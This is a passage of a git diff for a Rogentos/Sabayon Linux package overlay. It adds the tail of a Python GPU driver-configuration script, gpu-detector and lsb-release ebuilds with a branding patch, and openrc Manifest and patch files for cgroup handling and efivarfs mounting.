+def check_if_proprietary_driver_system_is_healthy(kernelmod):
+    rc = subprocess.call(["modprobe", kernelmod])
+    if rc == 0:
+        if kernelmod == "nvidia":
+            if os.path.exists("/usr/lib/opengl/nvidia/lib"):
+                print("check_if_proprietary_driver_system_is_healthy:"
+                      " nvidia healthy")
+                return True
+            print("check_if_proprietary_driver_system_is_healthy:"
+                  " nvidia NOT healthy")
+            return False
+        elif kernelmod == "fglrx":
+            kver = get_kernel_version()
+            if kver is None:
+                kver = 360 # assume new kernel
+            if not nomodeset and kver >= 360:
+                print("check_if_proprietary_driver_system_is_healthy:"
+                      " fglrx (ati) NOT healthy, 'nomodeset' boot argument"
+                      " is mising")
+                return False
+            if os.path.exists("/usr/lib/opengl/ati/lib"):
+                print("check_if_proprietary_driver_system_is_healthy:"
+                      " fglrx (ati) healthy")
+                return True
+            print("check_if_proprietary_driver_system_is_healthy:"
+                  " fglrx (ati) NOT healthy")
+            return False
+    return False
+
+def deploy_nvidia_xxxxxx_drivers(ver):
+    if dryrun:
+        print("I was about to run deploy_nvidia_xxxxxx_drivers"
+              ", ver: %s" % (ver,))
+        return False
+
+    drivers_dir = "/install-data/drivers"
+    # are they available ? we're on livecd...
+    if not os.path.isdir(drivers_dir):
+        print("drivers_dir not available")
+        return False
+
+    packages = os.listdir(drivers_dir)
+    _packages = []
+    for pkg in packages:
+        if not pkg.endswith(".tbz2"):
+            continue
+        if pkg.startswith("x11-drivers:nvidia-drivers-" + ver):
+            _packages.append(pkg)
+        elif pkg.startswith("x11-drivers:nvidia-userspace" + ver):
+            _packages.append(pkg)
+
+    packages = [os.path.join(drivers_dir, x) for x in _packages]
+    package_names = ["x11-drivers/nvidia-drivers",
+                     "x11-drivers/nvidia-userspace"]
+    if not packages:
+        return False
+
+    from entropy.client.interfaces import Client
+    _entropy = Client()
+
+    # prepare system
+    for package_name in package_names:
+        inst_repo = _entropy.installed_repository()
+        package_id, result = inst_repo.atomMatch(package_name)
+        if package_id == -1:
+            continue
+        content = inst_repo.retrieveContentIter(package_id)
+        for myfile, ftype in content:
+            try:
+                os.remove(myfile)
+            except (OSError, IOError):
+                pass
+
+    if hasattr(_entropy,"destroy"):
+        _entropy.destroy()
+
+    for package_file in packages:
+        # remove old garbage - copy over - create module
+        subprocess.call(
+            ["tar", "xjf", package_file, "-C", "/"])
+        # try to check driver status now
+        rc = check_if_proprietary_driver_system_is_healthy("nvidia")
+        if not rc:
+            remove_tar_members_from_sys(package_file)
+        return rc
+
+efivars_loaded = False
+def is_efi():
+    """
+    Return whether the system boots from EFI
+    """
+    global efivars_loaded
+
+    if noefi:
+        return False
+
+    if not efivars_loaded:
+        subprocess.call(["modprobe", "efivars"])
+        efivars_loaded = True
+
+    return os.path.exists("/sys/firmware/efi")
+
+def get_vesa_driver():
+    """
+    Return either "vesa" or "fbdev" as the fallback
+    vesa-like X driver.
+    """
+    if is_efi():
+        # vesa does not work
+        return "fbdev"
+    return "vesa"
+
+def set_xorg_device(xdriver, cardnum, total_cards, bus_id):
+    if (xdriver not in ("nvidia", "fglrx",)) and \
+            (not check_if_driver_is_available(xdriver)):
+        xdriver = get_vesa_driver() # fallback to vesa
+    bus_id_mark = "#"
+    if total_cards > 1:
+        bus_id_mark = ""
+
+    device_sections.append("""
+Section "Device"
+
+    Identifier  "%s%s"
+    Driver      "%s"
+    %sBusID    "%s"
+    #Option "RenderAccel" "on"
+    #Option "XAANoOffscreenPixmaps"
+    #Option "BusType" "PCI"
+    #Option "ColorTiling" "on"
+    #Option "EnablePageFlip" "on"
+    # UseEvents is causing segmentation faults with
+    # NVIDIA 6xxx, 7xxx and >=275.xx.xx drivers
+    #Option "UseEvents" "True"
+    Option "LogoPath" "/usr/share/backgrounds/rogentoslinux-nvidia.png"
+
+EndSection
+    """ % (device_id_prefix, cardnum, xdriver, bus_id_mark, bus_id,))
+
+    my_screen_section = screen_section.replace("__screen_id__", str(cardnum))
+    # setup Option AddARGBVisuals
+    # especially needed for legacy nvidia drivers, but works
+    # on all of them
+    if xdriver == "nvidia":
+        my_screen_section = my_screen_section.replace(nvidia_option_prefix, "")
+    else:
+        my_screen_section = my_screen_section.replace(nvidia_option_prefix, "#")
+    screen_sections.append(my_screen_section)
+    screen_layout_sections.append('Screen %s    "Screen %s"' % (
+            cardnum, cardnum,))
+
+def opengl_activate(profile, force=False):
+    if not dryrun:
+        if not force:
+            current = opengl_show()
+            if current == profile:
+                print("OpenGL profile is already set to: " + profile)
+                return
+        subprocess.call(["eselect", "opengl", "set", profile])
+    else:
+        print("I was about to set opengl subsystem to: " + profile)
+
+def opengl_show():
+    return getoutput("eselect opengl show").split("\n")[0].strip()
+
+def fix_possible_opengl_misconfiguration(profile):
+    # get current subsystem
+    current = opengl_show()
+    if not dryrun:
+        if (profile in ("ati","nvidia","xorg-x11")) and (profile != current):
+            if profile == "ati" or profile == "nvidia":
+                subprocess.call(["umount", "/usr/lib/opengl/" + profile])
+                subprocess.call(["umount", "/usr/lib/opengl/" + profile])
+                opengl_activate(profile)
+    else:
+        print("I was about to fix OpenGL subsystem to: " + \
+                  profile + " while the current implementation is: " + \
+                  current)
+
+def copy_nvidia_settings_on_desktop():
+    homes = []
+    if os.path.isfile(nvidia_settings):
+        _homes = os.listdir("/home")
+        homes += [x for x in os.listdir("/home") \
+                      if os.path.isdir("/home/" + x + "/Desktop")]
+
+    for home in homes:
+        try:
+
+            full_home = os.path.join("/home", home)
+            st = os.stat(full_home)
+            dest_path = "/home/" + home + "/Desktop/" + \
+                os.path.basename(nvidia_settings)
+            shutil.copy2(nvidia_settings, dest_path)
+            os.chmod(dest_path, 0o755)
+            os.chown(dest_path, st.st_uid, st.st_gid)
+
+            if os.path.isdir("/etc/skel/Desktop"):
+                dest_path = os.path.join(
+                    "/etc/skel/Desktop",
+                    os.path.basename(nvidia_settings))
+                shutil.copy2(nvidia_settings, dest_path)
+                os.chmod(dest_path, 0o755)
+
+        except Exception:
+            pass
+
+def copy_ati_settings_on_desktop():
+    desktop_files = getoutput(
+        'equo query files ati-drivers --quiet | grep ".desktop"').split("\n")
+    desktop_files = [x for x in desktop_files if os.path.isfile(x)]
+    print("copy_ati_settings_on_desktop: found files: "+str(desktop_files))
+
+    for ati_settings in desktop_files:
+        homes = os.listdir("/home")
+        homes = [x for x in homes if os.path.isdir("/home/" + x + "/Desktop")]
+        for home in homes:
+            try:
+                full_home = os.path.join("/home", home)
+                st = os.stat(full_home)
+                dest_path = "/home/" + home + "/Desktop/" + \
+                    os.path.basename(ati_settings)
+                shutil.copy2(ati_settings, dest_path)
+                os.chmod(dest_path, 0o755)
+                os.chown(dest_path, st.st_uid, st.st_gid)
+
+                if os.path.isdir("/etc/skel/Desktop"):
+                    dest_path = os.path.join(
+                        "/etc/skel/Desktop",
+                        os.path.basename(ati_settings))
+                    shutil.copy2(ati_settings, dest_path)
+                    os.chmod(dest_path, 0o755)
+            except Exception:
+                pass
+
+def setup_nvidia_drivers(card_id):
+    drv_string = ''
+    done_legacy = False
+
+    drivers_map = (
+        ("304", nvidia_304xx_supported,),
+        ("173", nvidia_173xx_supported,),
+        ("96", nvidia_173xx_supported,),
+        ("71", nvidia_173xx_supported,),
+        )
+    for ver, lst in drivers_map:
+        if card_id not in lst:
+            continue
+        print("NVIDIA %s driver selected" % (ver,))
+        drv_string = ver
+        if livecd:
+            rc = deploy_nvidia_xxxxxx_drivers(ver)
+            if rc:
+                print("NVIDIA %s deployed correctly" % (ver,))
+                done_legacy = True
+                break
+
+    if not done_legacy:
+        drv_string = '[latest]'
+        print("latest and greatest NVIDIA driver selected or unsupported")
+
+    healthy = check_if_proprietary_driver_system_is_healthy("nvidia")
+    if healthy:
+        print("NVIDIA proprietary driver %s is loaded" % (drv_string,))
+
+        if done_legacy:
+            os.makedirs("/lib/nvidia/legacy")
+            with open("/lib/nvidia/legacy/running", "w") as f:
+                f.write("%s" % (drv_string,))
+
+    return done_legacy, healthy
+
+def generate_nvidia_bumblebee_steps(v3dcard, company_id, card_id):
+    done_legacy, healthy = setup_nvidia_drivers(card_id)
+    if not healthy:
+        print("NVIDIA drivers couldn't be loaded, cannot enable bumblebee")
+        return
+
+    if dryrun:
+        print("Was about to start bumblebee")
+        return
+
+    if not livecd:
+        print("LiveCD mode off, not starting bumblebee service")
+        return
+
+    # This is used by our Installer
+    with open("/tmp/.bumblebee.enabled", "w") as f:
+        pass
+
+    if openrc_running():
+        os.system("/etc/init.d/bumblebee start")
+    elif systemd_running():
+        os.system("/usr/bin/systemctl start bumblebeed")
+
+def generate_nvidia_steps(videocard, cardnumber, total_cards, bus_id):
+    comp_id, card_id = extract_pci_ids(videocard)
+    done_legacy, healthy = setup_nvidia_drivers(card_id)
+
+    if healthy:
+        if done_legacy:
+            # then activate nvidia opengl subsystem after resetting it
+            steps.append((opengl_activate, "xorg-x11"))
+            steps.append((opengl_activate, "nvidia"))
+
+            steps.append((set_xorg_device, "nvidia",
+                          cardnumber, total_cards, bus_id,))
+            steps.append((fix_possible_opengl_misconfiguration, "nvidia"))
+            steps.append((copy_nvidia_settings_on_desktop,))
+
+        else:
+
+            steps.append((fix_possible_opengl_misconfiguration, "nvidia"))
+            steps.append((copy_nvidia_settings_on_desktop,))
+            steps.append((opengl_activate, "nvidia"))
+            steps.append((set_xorg_device, "nvidia",
+                          cardnumber, total_cards, bus_id,))
+    else:
+        print("NVIDIA drivers couldn't be loaded, switchting to nv driver")
+        steps.append((opengl_activate, "xorg-x11"))
+
+def generate_generic_steps():
+    steps.append((remove_proprietary_opengl, bb_enabled))
+    steps.append((opengl_activate, "xorg-x11",))
+
+def drop_kernel_mod(kmod):
+    return subprocess.call(["modprobe", "-r", kmod])
+
+def extract_pci_ids(videocard_str):
+    videocard_split = [x.strip() for x in videocard_str.strip().split('"') \
+                           if x.strip()]
+    try:
+        card_id = videocard_split[3].split()[-1].lower().strip("[]")
+    except IndexError:
+        card_id = None
+
+    try:
+        company_id = videocard_split[2].split()[-1].lower().strip("[]")
+    except IndexError:
+        company_id = None
+
+    return company_id, card_id
+
+def extract_vga_cards(lspci_list):
+    cards = []
+    for item in lspci_list:
+        try:
+            class_type = item.split()[1].strip('"')
+            if class_type == "0300":
+                cards.append(item)
+        except IndexError:
+            continue
+    return cards
+
+def extract_3d_cards(lspci_list):
+    # bumblebee support
+    cards = []
+    for item in lspci_list:
+        try:
+            class_type = item.split()[1].strip('"')
+            if class_type == "0302":
+                cards.append(item)
+        except IndexError:
+            continue
+    return cards
+
+
+# Create videocards list
+lspci_out_split = lspci_output.split("\n")
+videocards = extract_vga_cards(lspci_out_split)
+v3dcards = extract_3d_cards(lspci_out_split)
+# Run the program
+cardnumber = -1
+
+total_cards = len(videocards)
+forced_monitor_modes = False
+steps = []
+bb_enabled = False
+write_config = False
+
+for v3dcard in v3dcards:
+
+    company_id, card_id = extract_pci_ids(v3dcard)
+
+    if company_id == "10de":
+        print("NVIDIA Optimus 3D Acceleration detected, enabling bumblebee")
+        generate_nvidia_bumblebee_steps(v3dcard, company_id, card_id)
+        bb_enabled = True
+
+for videocard in videocards:
+
+    # setup card number
+    cardnumber += 1
+    print("Card Number: " + str(cardnumber))
+    try:
+        bus_id = "PCI:%s" % (
+                videocard.split()[0].split(".", 1)[0]
+            )
+    except (IndexError,ValueError,TypeError,):
+        bus_id = None
+
+    if forced_xdriver:
+        print("You have chosen to force the X driver: " + forced_xdriver)
+        if forced_xdriver == "fglrx":
+            if check_if_proprietary_driver_system_is_healthy("fglrx") \
+                    or noproprietary:
+                steps.append((opengl_activate, "xorg-x11"))
+                forced_xdriver = "ati"
+                steps.append((drop_kernel_mod, "fglrx",))
+            else:
+                steps.append((fix_possible_opengl_misconfiguration, "ati"))
+                steps.append((copy_ati_settings_on_desktop,))
+                steps.append((opengl_activate, "ati"))
+
+        elif forced_xdriver == "nvidia" and (not noproprietary):
+            generate_nvidia_steps(videocard, cardnumber, total_cards, bus_id)
+        elif forced_xdriver == "vesa":
+            forced_monitor_modes = True
+        else:
+            generate_generic_steps()
+            steps.append((set_xorg_device, forced_xdriver,
+                          cardnumber, total_cards, bus_id,))
+        write_config = True
+
+    else:
+        company_id, card_id = extract_pci_ids(videocard)
+        print("[%s] company_id: %s | card_id: %s" % (
+                cardnumber, company_id, card_id,))
+
+        if company_id == "10de": # NVIDIA
+            if noproprietary:
+                steps.append((set_xorg_device, "nv",
+                              cardnumber, total_cards, bus_id,))
+            else:
+                generate_nvidia_steps(
+                    videocard, cardnumber, total_cards, bus_id)
+                print("NVIDIA!")
+            write_config = True
+
+        elif company_id == "1002":
+            generate_fglrx_steps(
+                videocard, cardnumber, total_cards, bus_id)
+            write_config = True
+
+        else:
+            generate_generic_steps()
+            print("GPU will be automatically detected by X.Org and udevd")
+
+
+# now create the file
+for args in steps:
+    func, args = args[0], args[1:]
+    func(*args)
+
+if write_config:
+    config = xorg_conf_structure.replace(
+        '__device_section__',
+        '\n\n'.join(device_sections))
+    config = config.replace(
+        '__screen_section__',
+        '\n\n'.join(screen_sections))
+    config = config.replace(
+        '__screen_layout_section__',
+        '\n    '.join(screen_layout_sections))
+    if forced_monitor_modes:
+        config = config.replace('#Modes', 'Modes')
+
+    if not dryrun:
+        with open(xorgfile, "w") as f:
+            f.write(config)
+            f.flush()
+else:
+    try:
+        os.remove(xorgfile)
+    except (OSError, IOError):
+        pass
+
+raise SystemExit(0)
diff --git a/sys-apps/gpu-detector/gpu-detector-2.5.0-r3.ebuild b/sys-apps/gpu-detector/gpu-detector-2.5.0-r3.ebuild
new file mode 100644
index 00000000..7ab4534a
--- /dev/null
+++ b/sys-apps/gpu-detector/gpu-detector-2.5.0-r3.ebuild
@@ -0,0 +1,39 @@
+# Copyright 2004-2010 Sabayon
+# Copyright 2012 Rogentos
+# Original Author Fabio Erculiani
+# Distributed under the terms of the GNU General Public License v2
+
+DESCRIPTION="Rogentos live tool for X.Org video driver configuration"
+HOMEPAGE="http://rogentos.ro"
+SRC_URI=""
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="x86 amd64 ppc"
+IUSE=""
+
+RDEPEND="app-misc/rogentoslive-tools"
+DEPEND=""
+
+src_unpack () {
+        cd "${WORKDIR}"
+        cp "${FILESDIR}"/gpu-configuration . -p
+}
+
+src_install () {
+	cd "${WORKDIR}"
+	exeinto /sbin/
+	doexe gpu-configuration
+}
+
+pkg_postinst() {
+	local xorg_conf="${ROOT}/etc/X11/xorg.conf"
+	if [ -f "${xorg_conf}" ]; then
+		echo
+		elog "Disabling UseEvents option in your xorg.conf if found"
+		elog "This option is known to cause Segmentation Faults on"
+		elog "NVIDIA GeForce 6xxx and 7xxx with >=nvidia-drivers-275.xx"
+		echo
+		# this is quite lame sed, but who cares
+		sed -i "/Option.*UseEvents/ s/^/#/" "${xorg_conf}"
+	fi
+}
diff --git a/sys-apps/gpu-detector/gpu-detector-2.6-r2.ebuild b/sys-apps/gpu-detector/gpu-detector-2.6-r2.ebuild
new file mode 100644
index 00000000..405d693b
--- /dev/null
+++ b/sys-apps/gpu-detector/gpu-detector-2.6-r2.ebuild
@@ -0,0 +1,38 @@
+# Copyright 2004-2010 Sabayon
+# Distributed under the terms of the GNU General Public License v2
+
+DESCRIPTION="Sabayon live tool for X.Org video driver configuration"
+HOMEPAGE="http://www.sabayon.org"
+SRC_URI=""
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="x86 amd64 ppc"
+IUSE=""
+
+RDEPEND=">=app-misc/rogentoslive-tools-1.0
+	!>sys-apps/gpu-detector-2.6"
+DEPEND=""
+
+src_unpack () {
+        cd "${WORKDIR}"
+        cp "${FILESDIR}"/gpu-configuration . -p
+}
+
+src_install () {
+	cd "${WORKDIR}"
+	exeinto /sbin/
+	doexe gpu-configuration
+}
+
+pkg_postinst() {
+	local xorg_conf="${ROOT}/etc/X11/xorg.conf"
+	if [ -f "${xorg_conf}" ]; then
+		echo
+		elog "Disabling UseEvents option in your xorg.conf if found"
+		elog "This option is known to cause Segmentation Faults on"
+		elog "NVIDIA GeForce 6xxx and 7xxx with >=nvidia-drivers-275.xx"
+		echo
+		# this is quite lame sed, but who cares
+		sed -i "/Option.*UseEvents/ s/^/#/" "${xorg_conf}"
+	fi
+}
diff --git a/sys-apps/gpu-detector/gpu-detector-2.6-r6.ebuild b/sys-apps/gpu-detector/gpu-detector-2.6-r6.ebuild
new file mode 100644
index 00000000..f392f733
--- /dev/null
+++ b/sys-apps/gpu-detector/gpu-detector-2.6-r6.ebuild
@@ -0,0 +1,37 @@
+# Copyright 2004-2010 Sabayon
+# Distributed under the terms of the GNU General Public License v2
+
+DESCRIPTION="Rogentos live tool for X.Org video driver configuration"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI=""
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="x86 amd64 ppc"
+IUSE=""
+
+RDEPEND=">=app-misc/rogentoslive-tools-1"
+DEPEND=""
+
+src_unpack () {
+        cd "${WORKDIR}"
+        cp "${FILESDIR}"/gpu-configuration . -p
+}
+
+src_install () {
+	cd "${WORKDIR}"
+	exeinto /sbin/
+	doexe gpu-configuration
+}
+
+pkg_postinst() {
+	local xorg_conf="${ROOT}/etc/X11/xorg.conf"
+	if [ -f "${xorg_conf}" ]; then
+		echo
+		elog "Disabling UseEvents option in your xorg.conf if found"
+		elog "This option is known to cause Segmentation Faults on"
+		elog "NVIDIA GeForce 6xxx and 7xxx with >=nvidia-drivers-275.xx"
+		echo
+		# this is quite lame sed, but who cares
+		sed -i "/Option.*UseEvents/ s/^/#/" "${xorg_conf}"
+	fi
+}
diff --git a/sys-apps/gpu-detector/gpu-detector-3.ebuild b/sys-apps/gpu-detector/gpu-detector-3.ebuild
new file mode 100644
index 00000000..21aa73f8
--- /dev/null
+++ b/sys-apps/gpu-detector/gpu-detector-3.ebuild
@@ -0,0 +1,24 @@
+# Copyright 2004-2013 Sabayon
+# Distributed under the terms of the GNU General Public License v2
+
+DESCRIPTION="Configures your GPU when autodetection fails do to it"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI=""
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="x86 amd64 ppc"
+IUSE=""
+
+RDEPEND="app-misc/rogentos-live"
+DEPEND=""
+
+src_unpack () {
+        cd "${WORKDIR}"
+        cp "${FILESDIR}"/gpu-configuration . -p
+}
+
+src_install () {
+	cd "${WORKDIR}"
+	exeinto /sbin/
+	doexe gpu-configuration
+}
diff --git a/sys-apps/lsb-release/Manifest b/sys-apps/lsb-release/Manifest
new file mode 100644
index 00000000..abc7cd91
--- /dev/null
+++ b/sys-apps/lsb-release/Manifest
@@ -0,0 +1,4 @@
+AUX lsb-release-rogentos-version.patch 703 SHA256 715deb445f89ca85f31c079caf94d04603f971dafbbe230479059859523d681a SHA512 5ee0e7eed0410349cf2e9bb25cee7a478f87d607bc57ed1ae3a244d30855d3ec142c4bb683bcb526ec8011dd1d9e804f6126f9f9a78199b8152bca86732da6ef WHIRLPOOL deb30762e1d384d8c842e57ee02f0a581391190e1b88cb76489673a8bc96dafa3e6dc83154155e70223ad5f653d8adf303bda2d37fc86cdba83a9b9274b4d182
+DIST lsb-release-1.4.tar.gz 10769 SHA256 99321288f8d62e7a1d485b7c6bdccf06766fb8ca603c6195806e4457fdf17172 SHA512 84f6f8794380463587005043f601b7a40190cd9e3409abff7f5ce7658cf029a14346eff87838296d90307192bdeff68cc00480c5c04814da7acdb3e220640fde WHIRLPOOL e8e322f3d5fddf589ae1cdc97d143da907aad418ab6099f79e90e988450a3304c58d483e2ba8c80a9a7093f73af515e6c66a1c33881681bef2da70a35c31c28d
+EBUILD lsb-release-1.4.ebuild 773 SHA256 0391bebf0fb76699bd666d2f6615655aca591466a47ad98bcf7e5c667098727c SHA512 eea41f41c75c2f7e82c548bc321d3db83d2d2717028928a93e04a442b8c8a75de69f6bb3140e9915e8b58d6560d57df5ead92e2fb829a5aef4fdb1e89c0b73bc WHIRLPOOL 45db918ca9ec511e90ecb10904a37849299289fbe3f3bbe19ccec9318c853d0f62096058af0f50bd0f6135b885ba8aa41098ac07e342f173f8491b2e63a3a40a
+MISC metadata.xml 708 SHA256 0bdba8ef6482035e636154b74110d2218a49c44bd0de4f7f6b13568796803e3f SHA512 4fb6848036e074b4186570b0064e18e77d4d698faf639c3ff77597e73c2787fedc44ba1a4ba187d9325e20f81353674ab6b8e610f69892986fd5a80169c9c51d WHIRLPOOL 1d11dafc2c4c45c9bc941f872f46295f2d678f0c22ec290273fb5677ad40c438013edeb58a0c22090f6b873d23137115ec87b34cbd18c7442d4822e068e89da2
diff --git a/sys-apps/lsb-release/files/lsb-release-rogentos-version.patch b/sys-apps/lsb-release/files/lsb-release-rogentos-version.patch
new file mode 100644
index 00000000..ca9933c2
--- /dev/null
+++ b/sys-apps/lsb-release/files/lsb-release-rogentos-version.patch
@@ -0,0 +1,12 @@
+diff -Nurp lsb-release-1.4.orig/lsb_release lsb-release-1.4/lsb_release
+--- lsb-release-1.4.orig/lsb_release	2000-12-15 08:19:16.000000000 +0100
++++ lsb-release-1.4/lsb_release	2013-02-07 13:57:00.085819790 +0100
+@@ -47,7 +47,7 @@ INFO_LSB_FILE="lsb-release"
+ INFO_DISTRIB_SUFFIX="release"                 # <distrib>-<suffix>
+ ALTERNATE_DISTRIB_FILE="/etc/debian_version"  # for Debian [based distrib]
+ ALTERNATE_DISTRIB_NAME="Debian"               #     "
+-CHECKFIRST="/etc/redhat-release"              # check it before file search
++CHECKFIRST="/etc/rogentos-release"              # check it before file search
+ 
+ # Defines our exit codes
+ EXIT_STATUS="0"                           # default = Ok :)
diff --git a/sys-apps/lsb-release/lsb-release-1.4.ebuild b/sys-apps/lsb-release/lsb-release-1.4.ebuild
new file mode 100644
index 00000000..2f77b4c9
--- /dev/null
+++ b/sys-apps/lsb-release/lsb-release-1.4.ebuild
@@ -0,0 +1,38 @@
+# Copyright 1999-2013 Sabayon
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+inherit eutils
+
+DESCRIPTION="LSB version query program"
+HOMEPAGE="http://www.linuxbase.org/"
+SRC_URI="mirror://sourceforge/lsb/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="alpha amd64 arm hppa ia64 ~mips ppc ppc64 s390 sh sparc x86"
+IUSE=""
+
+# Perl isn't needed at runtime, it is just used to generate the man page.
+DEPEND="dev-lang/perl"
+RDEPEND=""
+
+src_unpack() {
+	unpack ${A}
+
+	cd "${S}"
+	epatch "${FILESDIR}/${PN}-rogentos-version.patch"
+}
+
+src_install() {
+	emake \
+		prefix="${D}/usr" \
+		mandir="${D}/usr/share/man" \
+		install \
+		|| die "emake install failed"
+
+	mkdir -p "${D}/etc"
+	cat > "${D}/etc/lsb-release" <<- EOF
+		DISTRIB_ID="Sabayon"
+	EOF
+}
diff --git a/sys-apps/lsb-release/metadata.xml b/sys-apps/lsb-release/metadata.xml
new file mode 100644
index 00000000..6886884e
--- /dev/null
+++ b/sys-apps/lsb-release/metadata.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+	<maintainer>
+		<email>jer@gentoo.org</email>
+		<name>Jeroen Roovers</name>
+	</maintainer>
+	<longdescription lang="en">
+		This program forms part of the required functionality of
+		the LSB (Linux Standard Base) specification.
+
+		The program queries the installed state of the distribution
+		to display certain properties such as the version of the
+		LSB against which the distribution claims compliance as
+		well. It can also attempt to display the name and release
+		of the distribution along with an identifier of who produces
+		the distribution.
+	</longdescription>
+</pkgmetadata>
diff --git a/sys-apps/openrc/Manifest b/sys-apps/openrc/Manifest
new file mode 100644
index 00000000..06ab1adb
--- /dev/null
+++ b/sys-apps/openrc/Manifest
@@ -0,0 +1,7 @@
+DIST openrc-0.10.5.tar.bz2 171742 SHA256 27677142a7aa47a1c7e863fd4bce0d092aca7870012812e4f7a690a14f1e242c
+DIST openrc-0.11.8.tar.bz2 174860 SHA256 e1f7c5ed98a63178c20f3d023a7d35fe416e8e7db2f0cf78ff346a6d2f7949a9 SHA512 aaea9f1e1d08c367beb6d35bcc1d258eb9d7b71a659c05088f9027b0558aae068b2ad7c221cf8ff8b8950f5a4a5c187ee7b986ce2d475a9e3cccda74d040f780 WHIRLPOOL 69217f13dd05e9a443d906281ada167d6892615eb5db7c372ba535a3d4a21ac3111fad9d54ef06650c3b488b848180bbfe5257dbc83f62f5ecf60724dec2900c
+DIST openrc-0.12.4.tar.bz2 131914 SHA256 c4edda2fff4b613f50b9cc265bb457a9ab0170fbc1fe7c26eccd4a5d63b2625c SHA512 14e188e382dfe02037d3e4211fa3265152d5ec92ca491b1e86154c0615583ddfc0a2592ca849ab453068dd60000886e57e7da024036fa58d7474acdbb6b92208 WHIRLPOOL 7bdc2c310ee6e87a439574f377a3c1541a118b4122d098d727f6d4464e9f645e5a4d40bedfc82f401b53e640e78494f74fac94f9b6813eb202cc18d1c5391280
+DIST openrc-0.8.2.tar.bz2 161165 SHA256 5d603869f78692947b60528f12b3107372a9e4a469621be7bc47d3829c16f8a1
+DIST openrc-0.8.3.tar.bz2 162474 SHA256 38ce2538bffe38c00055aadb85597f6f517b3e9f760dc1ed4a27ddf28cb9f4b4
+DIST openrc-0.9.8.1.tar.bz2 166841 SHA256 ba83fd5409a4a1626f35adfd06e61675585f5ae29e14dadab958016e24d2a995
+DIST openrc-0.9.9.3.tar.bz2 169462 SHA256 75487579982eddee9bbc7c3f6515ef8924eefd35c4829361e2b4c4c69bd047ab
diff --git a/sys-apps/openrc/Reasons b/sys-apps/openrc/Reasons
new file mode 100644
index 00000000..52f2f92a
--- /dev/null
+++ b/sys-apps/openrc/Reasons
@@ -0,0 +1,5 @@
+# Fabio Erculiani <lxnay@sabayonlinux.org>
+- rebrand boot string
+- disable deprecated addons warnings
+- do not let /etc/conf.d/keymaps to be overwritten, provide .example files
+- fix Gentoo bug #299633
diff --git a/sys-apps/openrc/files/0001-Filter-the-systemd-cgroup-from-the-current-process.patch b/sys-apps/openrc/files/0001-Filter-the-systemd-cgroup-from-the-current-process.patch
new file mode 100644
index 00000000..ec925cc1
--- /dev/null
+++ b/sys-apps/openrc/files/0001-Filter-the-systemd-cgroup-from-the-current-process.patch
@@ -0,0 +1,34 @@
+From 9f2ef0dabec9d7644f3f13e6d9e2037396493c6d Mon Sep 17 00:00:00 2001
+From: Fabio Erculiani <lxnay@sabayon.org>
+Date: Sat, 22 Jun 2013 11:05:11 +0200
+Subject: [PATCH] Filter the systemd cgroup from the current process
+
+logind relies on the name=systemd:/ cgroup path to determine the
+session name and seat through pam_systemd. The problem arises when
+the user log into a tty or via ssh and restart a service: the
+name=systemd cgroup is not cleared and it gets inherited by all
+the child processes spawned by the service.
+---
+ sh/runscript.sh.in | 6 ++++++
+ 1 file changed, 6 insertions(+)
+
+diff --git a/sh/runscript.sh.in b/sh/runscript.sh.in
+index 58e8eac..ba8eeb4 100644
+--- a/sh/runscript.sh.in
++++ b/sh/runscript.sh.in
+@@ -249,6 +249,12 @@ while [ -n "$1" ]; do
+ 		cd /
+ 		continue
+ 	fi
++	if [ "$1" = start ] && [ -d /sys/fs/cgroup/systemd ]; then
++		# reset the systemd cgroup so that it won't be
++		# propagated to children. This makes logind work,
++		# which otherwise gets confused.
++		echo $$ > /sys/fs/cgroup/systemd/tasks
++	fi
+ 	# See if we have the required function and run it
+ 	for _cmd in describe start stop status ${extra_commands:-$opts} \
+ 		$extra_started_commands $extra_stopped_commands
+-- 
+1.8.2.1
+
diff --git a/sys-apps/openrc/files/0001-efivarfs-Support-EFI-variable-access-in-3.10-kernels.patch b/sys-apps/openrc/files/0001-efivarfs-Support-EFI-variable-access-in-3.10-kernels.patch
new file mode 100644
index 00000000..7e1140d6
--- /dev/null
+++ b/sys-apps/openrc/files/0001-efivarfs-Support-EFI-variable-access-in-3.10-kernels.patch
@@ -0,0 +1,41 @@
+From 29f0f55c0e7debef879674ed288c1d3af0f84772 Mon Sep 17 00:00:00 2001
+From: "Robin H. Johnson" <robbat2@gentoo.org>
+Date: Mon, 24 Jun 2013 19:31:58 +0000
+Subject: [PATCH] efivarfs: Support EFI variable access in 3.10 kernels.
+
+In the 3.10 kernel, EFI variables are now provided by a dedicated
+filesystem that needs to be mounted.
+
+Signed-off-by: Robin H. Johnson <robbat2@gentoo.org>
+---
+ init.d/sysfs.in | 14 ++++++++++++++
+ 1 file changed, 14 insertions(+)
+
+diff --git a/init.d/sysfs.in b/init.d/sysfs.in
+index 114a653..7658cb5 100644
+--- a/init.d/sysfs.in
++++ b/init.d/sysfs.in
+@@ -81,6 +81,20 @@ mount_misc()
+ 			eend $?
+ 		fi
+ 	fi
++
++	# setup up kernel support for efivarfs
++	# slightly complicated, as if it's build as a module but NOT yet loaded,
++	# it will NOT appear in /proc/filesystems yet
++	if [ -d /sys/firmware/efi/efivars ] \
++		&& ! mountinfo -q /sys/firmware/efi/efivars; then
++		modprobe -q efivarfs
++		if grep -qs efivarfs /proc/filesystems; then
++			ebegin "Mounting efivarfs filesystem"
++			mount -n -t efivarfs -o ${sysfs_opts} \
++				efivarfs /sys/firmware/efi/efivars
++			eend $?
++		fi
++	fi
+ }
+ 
+ mount_cgroups()
+-- 
+1.8.2.1
+
diff --git a/sys-apps/openrc/files/openrc-0.5.3-disable_warns_until_migrated.patch b/sys-apps/openrc/files/openrc-0.5.3-disable_warns_until_migrated.patch
new file mode 100644
index 00000000..eb4ed168
--- /dev/null
+++ b/sys-apps/openrc/files/openrc-0.5.3-disable_warns_until_migrated.patch
@@ -0,0 +1,16 @@
